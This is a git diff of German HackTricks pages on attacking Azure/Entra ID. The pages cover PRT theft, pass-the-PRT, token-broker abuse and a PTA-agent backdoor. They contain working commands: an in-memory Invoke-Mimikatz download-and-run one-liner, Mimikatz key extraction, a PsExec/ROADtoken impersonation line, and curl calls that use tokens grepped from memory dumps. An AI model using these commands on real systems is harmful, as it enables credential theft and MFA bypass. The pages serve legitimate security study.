+2. Der **Sitzungsschlüssel wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) und für ein Verständnis seiner Anwendung verweisen Sie auf den [Pass-the-cookie-Angriff](az-pass-the-cookie.md).
+3. Nach der Entschlüsselung des Sitzungsschlüssels werden der **abgeleitete Schlüssel und der Kontext für den PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel zum Signieren des JWT (JSON Web Token) verwendet, das das Cookie bildet. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich.
 ```bash
 privilege::debug
 sekurlsa::cloudap
+
+# Or in powershell
+iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
+Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 ```
 Das **PRT-Feld** enthält das verschlüsselte Refresh-Token (typischerweise ein Base64-String), und KeyValue im ProofOfPossessionKey ist der DPAPI-verschlüsselte Sitzungsschlüssel (ebenfalls Base64).
 
@@ -78,11 +86,14 @@ Da die DPAPI-Verschlüsselung für Systemgeheimnisse den Systemkontext des Compu
 ```bash
 token::elevate
 dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
+
+# PowerShell version
+Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
 ```
 Der `token::elevate` wird SYSTEM impersonifizieren und der `dpapi::cloudapkd` Befehl mit `/unprotect` wird den DPAPI-Master-Schlüssel verwenden, um den bereitgestellten KeyValue-BLOB zu entschlüsseln. Dies ergibt den Klartext-Sitzungsschlüssel sowie den zugehörigen abgeleiteten Schlüssel und Kontext, die zum Signieren verwendet werden:
 - **Klarer Schlüssel** – der 32-Byte-Sitzungsschlüssel im Klartext (dargestellt als Hex-String).
 - **Abgeleiteter Schlüssel** – ein 32-Byte-Schlüssel, der aus dem Sitzungsschlüssel und einem Kontextwert abgeleitet wurde (mehr dazu weiter unten).
-- **Kontext** – ein 24-Byte-zufälliger Kontext, der beim Ableiten des Signaturschlüssels für das PRT-Cookie verwendet wurde.
+- **Kontext** – ein 24-Byte zufälliger Kontext, der beim Ableiten des Signaturschlüssels für das PRT-Cookie verwendet wurde.
 
 > [!NOTE]
 > Wenn dies nicht funktioniert, um den Benutzer zu impersonifizieren, überprüfen Sie den folgenden Abschnitt mit **`AADInternals`**.
@@ -98,8 +109,7 @@ Mimikatz gibt ein signiertes JWT (das `PRT-Cookie`) nach der Zeile „Signature
 
 Sie könnten auch **`roadtx`** und **`roadrecon`** mit dem PRT des PRT-Cookies verwenden, um den Benutzer zu impersonieren *(TODO: Finde die genauen Befehlszeilen, um roadtx/roadrecon zu verwenden, um Anmeldeinformationen von einem PRT zu erhalten)*.
 
-
-### AADInternals
+### Mimikatz + AADInternals
 
 Das **`AADInternals`** PowerShell-Modul kann ebenfalls mit dem zuvor erhaltenen PRT und dem Sitzungsschlüssel verwendet werden, um ein gültiges PRT-Token zu generieren. Dies ist nützlich, um den Prozess der Beschaffung eines neuen PRT-Tokens mit Nonce zu automatisieren, das verwendet werden kann, um Zugriffstoken für die Azure AD Graph API oder andere Ressourcen abzurufen:
 ```bash
@@ -125,27 +135,46 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
 # Get an access token for MS Graph API
 Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
 ```
-This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstrahiert viel von der Kryptografie und verwendet Windows-Komponenten oder eigene Logik im Hintergrund.
+Dies erhält ein frisches PRT-Cookie (mit einem Nonce) und verwendet es dann, um ein Zugriffstoken für die Azure AD Graph API abzurufen (was den Cloud-Zugriff im Namen des Benutzers demonstriert). AADInternals abstrahiert einen Großteil der Kryptografie und verwendet Windows-Komponenten oder eigene Logik im Hintergrund.
 
+### Mimikatz + roadtx
+
+- Erneuern Sie zuerst das PRT, das in `roadtx.prt` gespeichert wird:
+```bash
+roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
+```
+- Jetzt können wir **Tokens** mit dem interaktiven Browser über `roadtx browserprtauth` anfordern. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte.
+```bash
+roadtx browserprtauth
+roadtx describe < .roadtools_auth
+```
+<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
+
+#### Mimikatz + roadrecon
+
+Mit dem Kontext und dem von mimikatz extrahierten Schlüssel ist es möglich, roadrecon zu verwenden, um ein neues signiertes Cookie zu generieren mit:
+```bash
+roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
+```
 ## Missbrauch geschützter PRTs
 
-Trotz der genannten Schutzmaßnahmen kann ein Angreifer, der bereits ein Gerät (als lokaler Benutzer oder sogar SYSTEM) kompromittiert hat, immer noch **den PRT missbrauchen, um frische Zugriffstoken zu erhalten**, indem er die eigenen Token-Broker-APIs und Sicherheitskomponenten von Windows nutzt. Anstatt den rohen PRT oder Schlüssel zu **extrahieren**, **"fragt" der Angreifer" Windows, den PRT in seinem Namen zu verwenden**. In den folgenden Abschnitten skizzieren wir derzeit gültige Techniken zum Missbrauch von PRTs und deren Sitzungsschlüsseln auf aktuellen Windows-Geräten, auf denen TPM-Schutzmaßnahmen wirksam sind. Alle diese Techniken setzen einen Post-Exploitation-Zugriff auf die Zielmaschine voraus und **konzentrieren sich auf den Missbrauch integrierter Authentifizierungsflüsse** (keine ungepatchten Schwachstellen erforderlich).
+Trotz der genannten Schutzmaßnahmen kann ein Angreifer, der bereits ein Gerät (als lokaler Benutzer oder sogar SYSTEM) kompromittiert hat, weiterhin **den PRT missbrauchen, um frische Zugriffstoken zu erhalten**, indem er die eigenen Token-Broker-APIs und Sicherheitskomponenten von Windows nutzt. Anstatt den rohen PRT oder Schlüssel zu **extrahieren**, **"fragt" der Angreifer" Windows, den PRT in seinem Namen zu verwenden**. In den folgenden Abschnitten skizzieren wir derzeit gültige Techniken zum Missbrauch von PRTs und deren Sitzungsschlüsseln auf aktuellen Windows-Geräten, auf denen TPM-Schutzmaßnahmen wirksam sind. Alle diese Techniken setzen einen Post-Exploitation-Zugriff auf die Zielmaschine voraus und **konzentrieren sich auf den Missbrauch integrierter Authentifizierungsflüsse** (keine ungepatchten Schwachstellen erforderlich).
 
 ### Windows Token Broker Architektur und SSO-Fluss
 
-Moderne Windows-Systeme verwalten die Cloud-Authentifizierung über einen integrierten **Token Broker**-Stack, der Komponenten sowohl im Benutzermodus als auch in LSASS (Local Security Authority) umfasst. Wichtige Teile dieser Architektur sind:
+Modernes Windows verwaltet die Cloud-Authentifizierung über einen integrierten **Token Broker**-Stack, der Komponenten sowohl im Benutzermodus als auch in LSASS (Local Security Authority) umfasst. Wichtige Teile dieser Architektur sind:
 
--   **LSASS CloudAP Plugin:** Wenn ein Gerät Azure AD beigetreten ist, lädt LSASS Cloud-Authentifizierungspakete (z. B. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), die PRTs und Token-Anfragen verwalten. LSASS (läuft als SYSTEM) orchestriert die Speicherung, Erneuerung und Nutzung von PRTs und kommuniziert mit dem TPM, um kryptografische Operationen (wie das Signieren einer PRT-Herausforderung mit dem Sitzungsschlüssel) durchzuführen.
+-   **LSASS CloudAP Plugin:** Wenn ein Gerät Azure AD beigetreten ist, lädt LSASS Cloud-Authentifizierungspakete (z. B. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), die PRTs und Tokenanforderungen verwalten. LSASS (läuft als SYSTEM) orchestriert die Speicherung, Erneuerung und Nutzung von PRTs und kommuniziert mit dem TPM, um kryptografische Operationen durchzuführen (wie das Signieren einer PRT-Herausforderung mit dem Sitzungsschlüssel).
 
--   **Web Account Manager (WAM):** Der Windows Web Account Manager ist ein Framework im Benutzermodus (über COM/WinRT-APIs zugänglich), das es Anwendungen oder Browsern ermöglicht, Token für Cloud-Konten anzufordern, ohne nach Anmeldeinformationen zu fragen. WAM fungiert als Broker zwischen Benutzeranwendungen und dem sicheren, von LSASS/TPM unterstützten PRT. Beispielsweise verwenden Microsofts MSAL-Bibliothek und bestimmte Betriebssystemkomponenten WAM, um stillschweigend Token unter Verwendung des PRT des angemeldeten Benutzers zu erwerben.
+-   **Web Account Manager (WAM):** Der Windows Web Account Manager ist ein Benutzermodus-Framework (über COM/WinRT-APIs zugänglich), das es Anwendungen oder Browsern ermöglicht, Token für Cloud-Konten anzufordern, ohne nach Anmeldeinformationen zu fragen. WAM fungiert als Broker zwischen Benutzeranwendungen und dem sicheren LSASS/TPM-gestützten PRT. Beispielsweise verwenden Microsofts MSAL-Bibliothek und bestimmte Betriebssystemkomponenten WAM, um stillschweigend Token unter Verwendung des PRT des angemeldeten Benutzers zu erwerben.
 
--   **BrowserCore.exe und Token Broker COM-Schnittstellen:** Für die Browser-SSO enthält Windows eine Komponente namens **BrowserCore.exe** (unter *Windows Security\BrowserCore* zu finden). Dies ist ein nativer Messaging-Host, der von Browsern (Edge, Chrome über eine Erweiterung usw.) verwendet wird, um ein PRT-abgeleitetes SSO-Token für die Azure AD-Anmeldung zu erhalten. Im Hintergrund nutzt BrowserCore ein COM-Objekt, das von `MicrosoftAccountTokenProvider.dll` bereitgestellt wird, um ein PRT-basiertes Cookie/Token abzurufen. Im Wesentlichen ist diese COM-Schnittstelle eine First-Party-"Token Broker"-API, die jeder Prozess, der als Benutzer ausgeführt wird, aufrufen kann, um ein SSO-Token zu erhalten (vorausgesetzt, der Benutzer hat einen gültigen PRT in LSASS).
+-   **BrowserCore.exe und Token Broker COM-Schnittstellen:** Für Browser-SSO enthält Windows eine Komponente namens **BrowserCore.exe** (unter *Windows Security\BrowserCore* zu finden). Dies ist ein nativer Messaging-Host, der von Browsern (Edge, Chrome über eine Erweiterung usw.) verwendet wird, um ein PRT-abgeleitetes SSO-Token für die Azure AD-Anmeldung zu erhalten. Im Hintergrund nutzt BrowserCore ein COM-Objekt, das von `MicrosoftAccountTokenProvider.dll` bereitgestellt wird, um ein PRT-basiertes Cookie/Token abzurufen. Im Wesentlichen ist diese COM-Schnittstelle eine First-Party-"Token Broker"-API, die jeder Prozess, der als Benutzer ausgeführt wird, aufrufen kann, um ein SSO-Token zu erhalten (vorausgesetzt, der Benutzer hat einen gültigen PRT in LSASS).
 
-Wenn ein Azure AD beigetretener Benutzer versucht, auf eine Ressource (z. B. das Azure-Portal) zuzugreifen, verläuft der Fluss typischerweise so: Eine Anwendung ruft die WAM- oder BrowserCore-COM-Schnittstelle auf, die wiederum mit LSASS kommuniziert. LSASS verwendet den PRT und den Sitzungsschlüssel (durch TPM gesichert), um ein **SSO-Token** zu erzeugen – oft als **PRT-Cookie** bezeichnet – das dann an die Anwendung oder den Browser zurückgegeben wird. Das PRT-Cookie ist ein spezielles JWT, das den verschlüsselten PRT und eine Nonce enthält, signiert mit einem Schlüssel, der aus dem Sitzungsschlüssel des PRT abgeleitet ist. Dieses Cookie wird an Azure AD (in einem `x-ms-RefreshTokenCredential`-Header) gesendet, um zu beweisen, dass das Gerät und der Benutzer einen gültigen PRT besitzen, was Azure AD ermöglicht, standardmäßige OAuth-Refresh- und Zugriffstoken für verschiedene Anwendungen auszustellen. Bemerkenswert ist, dass jede Multi-Faktor-Authentifizierungs-(MFA)-Behauptung, die im PRT vorhanden ist, in die über diesen SSO-Prozess erhaltenen Token übernommen wird, was bedeutet, dass PRT-abgeleitete Token MFA-geschützte Ressourcen erfüllen können.
+Wenn ein Azure AD beigetretener Benutzer versucht, auf eine Ressource (zum Beispiel das Azure-Portal) zuzugreifen, verläuft der Fluss typischerweise so: Eine Anwendung ruft die WAM- oder BrowserCore-COM-Schnittstelle auf, die wiederum mit LSASS kommuniziert. LSASS verwendet den PRT und den Sitzungsschlüssel (durch TPM gesichert), um ein **SSO-Token** zu erzeugen – oft als **PRT-Cookie** bezeichnet – das dann an die Anwendung oder den Browser zurückgegeben wird. Das PRT-Cookie ist ein spezielles JWT, das den verschlüsselten PRT und eine Nonce enthält, signiert mit einem Schlüssel, der aus dem Sitzungsschlüssel des PRT abgeleitet ist. Dieses Cookie wird an Azure AD gesendet (in einem `x-ms-RefreshTokenCredential`-Header), um zu beweisen, dass das Gerät und der Benutzer einen gültigen PRT besitzen, was Azure AD ermöglicht, standardmäßige OAuth-Refresh- und Zugriffstoken für verschiedene Anwendungen auszustellen. Bemerkenswert ist, dass jede Multi-Faktor-Authentifizierungs (MFA)-Behauptung, die im PRT vorhanden ist, in die über diesen SSO-Prozess erhaltenen Token übernommen wird, was bedeutet, dass PRT-abgeleitete Token MFA-geschützte Ressourcen erfüllen können.
 
-### Benutzerlevel-Token-Diebstahl (Nicht-Admin)
+### Token-Diebstahl auf Benutzerebene (Nicht-Admin)
 
-Wenn ein Angreifer **Benutzerlevel-Codeausführung** hat, stoppt der TPM-Schutz des PRT den Angreifer nicht daran, Token zu erhalten. Der Angreifer **nutzt die integrierten Windows Token Broker APIs**:
+Wenn ein Angreifer **Codeausführung auf Benutzerebene** hat, stoppt der TPM-Schutz des PRT den Angreifer nicht daran, Token zu erhalten. Der Angreifer **nutzt die integrierten Windows Token Broker APIs**:
 
 #### **BrowserCore (MicrosoftAccountTokenProvider COM)**
 
@@ -158,17 +187,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
 *(Gibt ein Azure AD-Refresh-Token oder PRT-Cookie zurück)*
 
 - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
+
+ROADtoken wird **`BrowserCore.exe`** aus dem richtigen Verzeichnis ausführen und es verwenden, um **ein PRT-Cookie zu erhalten**. Dieses Cookie kann dann mit ROADtools verwendet werden, um sich zu authentifizieren und **ein persistentes Refresh-Token zu erhalten**.
+
+Um ein gültiges PRT-Cookie zu generieren, benötigen Sie zunächst einen Nonce.\
+Sie können dies mit:
 ```bash
-ROADtoken.exe --nonce <nonce-value>
-roadrecon auth --prt-cookie <cookie>
+$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
+$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
+
+$Params = @{
+"URI"     = $URL
+"Method"  = "POST"
+}
+$Body = @{
+"grant_type" = "srv_challenge"
+}
+$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
+$Result.Nonce
+AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
 ```
-*(Generiert Nonce, ruft BrowserCore auf, um das PRT-Cookie zu erhalten, und löst es dann über ROADtools ein)*
-
+Oder mit [**roadrecon**](https://github.com/dirkjanm/ROADtools):
+```bash
+roadrecon auth prt-init
+```
+Dann können Sie [**roadtoken**](https://github.com/dirkjanm/ROADtoken) verwenden, um ein neues PRT zu erhalten (führen Sie das Tool aus einem Prozess des Benutzers aus, um anzugreifen):
+```bash
+.\ROADtoken.exe <nonce>
+```
+Als Einzeiler:
+```bash
+Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
+```
+Dann können Sie das **generierte Cookie** verwenden, um **Tokens** zu **generieren**, um sich über Azure AD **Graph** oder Microsoft Graph anzumelden:
+```bash
+# Generate
+roadrecon auth --prt-cookie <prt_cookie>
 
+# Connect
+Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
+```
 ### **Web Account Manager (WAM) APIs**
 
-Angreifer verwenden legitime Microsoft-Authentifizierungsbibliotheken (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) aus Prozessen auf Benutzerebene, um stillschweigend Tokens unter Nutzung des TPM-geschützten PRT abzurufen.
-
+Angreifer verwenden legitime Microsoft-Authentifizierungsbibliotheken (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) aus Prozessen auf Benutzerebene, um stillschweigend Tokens unter Ausnutzung von TPM-geschützten PRT abzurufen.
 
 -   **[aadprt](https://posts.specterops.io/)**
 ```bash
@@ -192,7 +253,7 @@ $result.AccessToken
 
 #### Missbrauch von Administrator- / SYSTEM-Level-Token
 
-Wenn der Angreifer auf **Administrator oder SYSTEM** eskaliert, kann er direkt jeden in Azure AD angemeldeten Benutzer impersonieren und dieselben **COM/WAM-Token-Broker-APIs** verwenden. TPM-geschützte PRTs verhindern diese legitime Token-Ausstellung nicht.
+Wenn der Angreifer auf **Administrator oder SYSTEM** eskaliert, kann er direkt jeden in Azure AD angemeldeten Benutzer impersonieren und dieselben **COM/WAM-Token-Broker-APIs** verwenden. TPM-geschützte PRTs verhindern nicht die legitime Token-Ausstellung.
 
 ### **Benutzer-Impersonation und Token-Abruf**
 
@@ -200,9 +261,9 @@ Admin/SYSTEM könnte laufende Sitzungen anderer Benutzer impersonieren, um Brows
 
 Dazu einfach den Benutzerprozess impersonieren (z. B. `explorer.exe`) und die Token-Broker-APIs mit einer der im vorherigen Abschnitt kommentierten Techniken aufrufen.
 
-### **Direkte LSASS- und Token-Broker-Interaktion (Fortgeschritten)**
+### **Direkte LSASS- & Token-Broker-Interaktion (Fortgeschritten)**
 
-Ein Administrator kann weiterhin mit LSASS arbeiten, um den PRT auszunutzen: Zum Beispiel könnte ein Admin Code in LSASS injizieren oder interne CloudAP-Funktionen aufrufen, um LSASS aufzufordern, ein Token zu erzeugen. Dirks Forschung stellte fest, dass ein Admin „mit PRT-Schlüsseln in LSASS unter Verwendung von Krypto-APIs interagieren“ kann. In der Praxis könnte dies bedeuten, die eigenen Funktionen von LSASS (über eine Technik wie API-Hooking oder RPC, falls verfügbar) zu verwenden, um ein PRT-Cookie zu generieren. Ein anderer Ansatz besteht darin, jedes Fenster auszunutzen, in dem der Sitzungsschlüssel möglicherweise im Speicher erscheint – zum Beispiel im Moment der PRT-Erneuerung oder der Geräteregistrierung, wenn er unverschlüsselt zur Verwendung ist. Solche Angriffe sind erheblich komplexer und situationsabhängig. Eine einfachere Taktik für Administratoren besteht darin, vorhandene Token-Handles oder Caches auszunutzen: LSASS speichert kürzlich ausgegebene Refresh-Token für Apps im Speicher (verschlüsselt mit DPAPI). Ein entschlossener SYSTEM-Angreifer könnte versuchen, diese DPAPI-geschützten Tokens (unter Verwendung des Master-Schlüssels des Benutzers, den ein Admin erhalten kann) zu extrahieren, um direkt Refresh-Token für bestimmte Anwendungen zu stehlen. Allerdings bleibt die einfachste und allgemeinste Methode die Impersonation und die Verwendung der dokumentierten Token-Broker-Schnittstellen, da diese garantieren, dass Azure AD frische Tokens (mit allen richtigen Ansprüchen) ausstellt, anstatt zu versuchen, die Verschlüsselung zu knacken.
+Ein Administrator kann weiterhin mit LSASS arbeiten, um den PRT auszunutzen: Zum Beispiel könnte ein Administrator Code in LSASS injizieren oder interne CloudAP-Funktionen aufrufen, um LSASS aufzufordern, ein Token zu erzeugen. Dirks Forschung stellte fest, dass ein Administrator „mit PRT-Schlüsseln in LSASS unter Verwendung von Krypto-APIs interagieren“ kann. In der Praxis könnte dies bedeuten, die eigenen Funktionen von LSASS (über eine Technik wie API-Hooking oder RPC, falls verfügbar) zu verwenden, um ein PRT-Cookie zu generieren. Ein anderer Ansatz besteht darin, jedes Fenster auszunutzen, in dem der Sitzungsschlüssel möglicherweise im Speicher erscheint – zum Beispiel im Moment der PRT-Erneuerung oder der Geräteregistrierung, wenn er unverschlüsselt zur Verwendung ist. Solche Angriffe sind erheblich komplexer und situativ. Eine einfachere Taktik für Administratoren besteht darin, vorhandene Token-Handles oder Caches auszunutzen: LSASS speichert kürzlich ausgegebene Refresh-Token für Apps im Speicher (verschlüsselt mit DPAPI). Ein entschlossener SYSTEM-Angreifer könnte versuchen, diese DPAPI-geschützten Tokens (unter Verwendung des Master-Schlüssels des Benutzers, den ein Administrator erhalten kann) zu extrahieren, um direkt Refresh-Token für bestimmte Anwendungen zu stehlen. Allerdings bleibt die einfachste und allgemeinste Methode die Impersonation und die Verwendung der dokumentierten Token-Broker-Schnittstellen, da diese garantieren, dass Azure AD frische Tokens (mit allen richtigen Ansprüchen) ausstellt, anstatt zu versuchen, die Verschlüsselung zu knacken.
 
 ## Phishing von PRTs
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md

@@ -1,34 +0,0 @@
-# Az - Processes Memory Access Token
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Grundinformationen**
-
-Wie in [**diesem Video**](https://www.youtube.com/watch?v=OHKZkXC4Duw) erklärt, speichern einige Microsoft-Software, die mit der Cloud synchronisiert ist (Excel, Teams...), **Zugriffstoken im Klartext im Speicher**. Das bloße **Dumpen** des **Speichers** des Prozesses und **Greppen nach JWT-Token** könnte Ihnen den Zugriff auf mehrere Ressourcen des Opfers in der Cloud ermöglichen und MFA umgehen.
-
-Schritte:
-
-1. Dumpen Sie die Excel-Prozesse, die mit dem EntraID-Benutzer synchronisiert sind, mit Ihrem bevorzugten Tool.
-2. Führen Sie aus: `string excel.dmp | grep 'eyJ0'` und finden Sie mehrere Token in der Ausgabe.
-3. Finden Sie die Token, die Sie am meisten interessieren, und führen Sie Tools über sie aus:
-```bash
-# Check the identity of the token
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
-
-# Check the email (you need a token authorized in login.microsoftonline.com)
-curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
-
-# Download a file from Teams
-## You need a token that can access graph.microsoft.com
-## Then, find the <site_id> inside the memory and call
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
-
-## Then, list one drive
-curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
-
-## Finally, download a file from that drive:
-curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
-```
-**Beachten Sie, dass diese Art von Zugriffstoken auch in anderen Prozessen gefunden werden kann.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md

@@ -16,7 +16,7 @@ Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der
 
 1. Um sich **anzumelden**, wird der Benutzer zu **Azure AD** umgeleitet, wo er den **Benutzernamen** und das **Passwort** sendet.
 2. Die **Anmeldeinformationen** werden **verschlüsselt** und in einer **Warteschlange** in Azure AD gesetzt.
-3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-Through-Authentifizierungsagent"** oder **PTA-Agent** bezeichnet.
+3. Der **lokale Authentifizierungsagent** sammelt die **Anmeldeinformationen** aus der Warteschlange und **entschlüsselt** sie. Dieser Agent wird als **"Pass-through Authentication Agent"** oder **PTA-Agent** bezeichnet.
 4. Der **Agent** **validiert** die Anmeldeinformationen gegen das **lokale AD** und sendet die **Antwort** **zurück** an Azure AD, die, wenn die Antwort positiv ist, die **Anmeldung** des Benutzers **abschließt**.
 
 > [!WARNING]
@@ -52,13 +52,13 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut
 ]
 }
 ```
-Überprüfen Sie, ob der Agent auf dem lokalen Server ausgeführt wird:
+Überprüfen Sie, ob der Agent auf dem On-Prem-Server ausgeführt wird:
 ```bash
 Get-Service -Name "AzureADConnectAuthenticationAgent"
 ```
 ## Pivoting
 
-Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA**-**Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
+Wenn Sie **Admin**-Zugriff auf den **Azure AD Connect-Server** mit dem **PTA** **Agenten** haben, können Sie das **AADInternals**-Modul verwenden, um eine **Hintertür** einzufügen, die **ALLE Passwörter** validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
 ```bash
 Install-Module AADInternals -RequiredVersion 0.9.3
 Import-Module AADInternals
@@ -82,15 +82,15 @@ Dieses Backdoor wird:
 > [!CAUTION]
 > Nachdem **GA-Rechte** in der Cloud erlangt wurden, ist es möglich, **einen neuen PTA-Agenten zu registrieren** und die **vorherigen** Schritte zu **wiederholen**, um **mit jedem Passwort zu authentifizieren** und auch **die Passwörter im Klartext zu erhalten.**
 
-### Seamless SSO
+### Nahtloses SSO
 
-Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
+Es ist möglich, nahtloses SSO mit PTA zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
 
 {{#ref}}
 seamless-sso.md
 {{#endref}}
 
-## References
+## Referenzen
 
 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
 - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md

@@ -1,58 +0,0 @@
-# Az AD Connect - Hybrid Identity
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Grundinformationen
-
-Die Integration zwischen **On-premises Active Directory (AD)** und **Azure AD** wird durch **Azure AD Connect** erleichtert, das verschiedene Methoden anbietet, die **Single Sign-on (SSO)** unterstützen. Jede Methode, obwohl nützlich, weist potenzielle Sicherheitsanfälligkeiten auf, die ausgenutzt werden könnten, um Cloud- oder On-Premises-Umgebungen zu kompromittieren:
-
-- **Pass-Through Authentication (PTA)**:
-- Mögliche Kompromittierung des Agents im On-Prem AD, was die Validierung von Benutzerpasswörtern für Azure-Verbindungen (On-Prem zu Cloud) ermöglicht.
-- Möglichkeit, einen neuen Agenten zu registrieren, um Authentifizierungen an einem neuen Standort (Cloud zu On-Prem) zu validieren.
-
-{{#ref}}
-pta-pass-through-authentication.md
-{{#endref}}
-
-- **Password Hash Sync (PHS)**:
-- Potenzielle Extraktion von Klartextpasswörtern privilegierter Benutzer aus dem AD, einschließlich der Anmeldeinformationen eines hochprivilegierten, automatisch generierten AzureAD-Benutzers.
-
-{{#ref}}
-phs-password-hash-sync.md
-{{#endref}}
-
-- **Federation**:
-- Diebstahl des privaten Schlüssels, der für die SAML-Signierung verwendet wird, was die Nachahmung von On-Prem- und Cloud-Identitäten ermöglicht.
-
-{{#ref}}
-federation.md
-{{#endref}}
-
-- **Seamless SSO:**
-- Diebstahl des Passworts des `AZUREADSSOACC`-Benutzers, das für die Signierung von Kerberos-Silbertickets verwendet wird, was die Nachahmung eines beliebigen Cloud-Benutzers ermöglicht.
-
-{{#ref}}
-seamless-sso.md
-{{#endref}}
-
-- **Cloud Kerberos Trust**:
-- Möglichkeit, von Global Admin zu On-Prem Domain Admin zu eskalieren, indem AzureAD-Benutzernamen und SIDs manipuliert und TGTs von AzureAD angefordert werden.
-
-{{#ref}}
-az-cloud-kerberos-trust.md
-{{#endref}}
-
-- **Standardanwendungen**:
-- Die Kompromittierung eines Anwendungsadministrator-Kontos oder des On-Premise-Sync-Kontos ermöglicht die Änderung von Verzeichniseinstellungen, Gruppenmitgliedschaften, Benutzerkonten, SharePoint-Websites und OneDrive-Dateien.
-
-{{#ref}}
-az-default-applications.md
-{{#endref}}
-
-Für jede Integrationsmethode wird die Benutzersynchronisierung durchgeführt, und ein `MSOL_<installationidentifier>`-Konto wird im On-Prem AD erstellt. Bemerkenswert ist, dass sowohl die **PHS**- als auch die **PTA**-Methoden **Seamless SSO** ermöglichen, was eine automatische Anmeldung für Azure AD-Computer, die mit der On-Prem-Domäne verbunden sind, ermöglicht.
-
-Um die Installation von **Azure AD Connect** zu überprüfen, kann der folgende PowerShell-Befehl verwendet werden, der das **AzureADConnectHealthSync**-Modul nutzt (standardmäßig mit Azure AD Connect installiert):
-```bash
-Get-ADSyncConnector
-```
-{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md

@@ -1,250 +0,0 @@
-# Az - Pass the PRT
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Was ist ein PRT
-
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
-
-### Überprüfen Sie, ob Sie ein PRT haben
-```
-Dsregcmd.exe /status
-```
-Im Abschnitt SSO-Status sollten Sie sehen, dass **`AzureAdPrt`** auf **JA** gesetzt ist.
-
-<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
-
